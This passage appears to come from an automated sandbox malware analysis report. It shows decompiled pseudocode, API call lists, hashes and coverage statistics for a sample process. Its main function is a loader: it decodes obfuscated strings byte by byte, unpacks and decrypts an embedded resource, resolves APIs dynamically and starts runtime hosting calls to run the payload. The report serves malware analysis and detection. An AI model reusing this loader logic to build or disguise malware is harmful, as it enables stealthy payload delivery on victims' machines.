0x010936c4
0x010936c4
0x010936da
0x010936e0
0x010936e6
0x00000000
0x00000000
0x010936e6
0x00000000
0x010936ba
0x010936ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0109369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010936B2
DispatchMessageA.USER32(?), ref: 010936CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010936DA

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: b449dd9d9ac278ebfdeedf63df99b65350ef8eee57ac488c8121132b7b9e4c32
Instruction ID: 023e10a302e129fffbbeac8a2aa21187943e7d322ffa92950358c72c3c4cf439
Opcode Fuzzy Hash: b449dd9d9ac278ebfdeedf63df99b65350ef8eee57ac488c8121132b7b9e4c32
Instruction Fuzzy Hash: A8018472A00214BBDF304AAA5C58EEB7ABCFB89B10F004159BA95E6184D5658540DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010965E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E010965E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x010965e8
0x010965ed
0x010965ef
0x010965f2
0x010965f4
0x010965f4
0x010965f6
0x010965f7
0x01096608
0x01096611
0x01096618
0x0109661c
0x00000000
0x00000000
0x0109660e
0x01096623
0x01096625
0x0109663b
0x0109663b
0x0109663d
0x01096641
0x01096610
0x01096610
0x00000000
0x01096610
0x01096644
0x01096647
0x01096647
0x01096621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,01092B33), ref: 01096602
CharPrevA.USER32(?,00000000), ref: 01096612
CharPrevA.USER32(?,00000000), ref: 01096629
CharNextA.USER32(00000000), ref: 01096635

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: bba96d325b99aa444eecbb0e1fcd085a99dc7db1264cb7efd12ee0a30d9732ac
Instruction ID: 55392f035b6f3b7a8e80cfc838b32a764f12512de4e23d940bec492761a5202b
Opcode Fuzzy Hash: bba96d325b99aa444eecbb0e1fcd085a99dc7db1264cb7efd12ee0a30d9732ac
Instruction Fuzzy Hash: C4F02872104150AEEF331A2D8CA8DBBBFDCDF8F1A472901EFE8D583101D61B090697A1

Uniqueness

Uniqueness Score: -1.00%

Function 010969B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010969B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x10981f8 = E01096C70();
				__set_app_type(E01096FBE(2));
				 *0x10988a4 =  *0x10988a4 | 0xffffffff;
				 *0x10988a8 =  *0x10988a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x1098528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x109851c; // 0x0
				 *_t5 = _t12;
				_t6 = E01097000();
				if( *0x1098000 == 0) {
					__setusermatherr(E01097000);
				}
				E010971EF(_t6);
				return 0;
			}

0x010969b7
0x010969c2
0x010969c8
0x010969cf
0x010969d8
0x010969de
0x010969e4
0x010969e6
0x010969ec
0x010969f2
0x010969f4
0x01096a00
0x01096a07
0x01096a0d
0x01096a0e
0x01096a15

APIs

Part of subcall function 01096FBE: GetModuleHandleW.KERNEL32(00000000), ref: 01096FC5

__set_app_type.MSVCRT ref: 010969C2
__p__fmode.MSVCRT ref: 010969D8
__p__commode.MSVCRT ref: 010969E6
__setusermatherr.MSVCRT ref: 01096A07

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 807c2e47dd79f96debab0f784b83747d2336b91f82f25dcc818ae95389768d91
Instruction ID: a687e017df6897864b3efb6da79aaa35911c336fb4bf9e7502d1a96d3e20e309
Opcode Fuzzy Hash: 807c2e47dd79f96debab0f784b83747d2336b91f82f25dcc818ae95389768d91
Instruction Fuzzy Hash: 31F0F8B560830ACFCB78AB38E5397053BA1FB46321B10864AE4E1863D8CB3F8154DF10

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ajAf.exePID: 6068, Parent PID: 6052COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	31.1%
Signature Coverage:	15.1%
Total number of Nodes:	351
Total number of Limit Nodes:	34

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						CloseHandle(_t525);
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x74f3cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
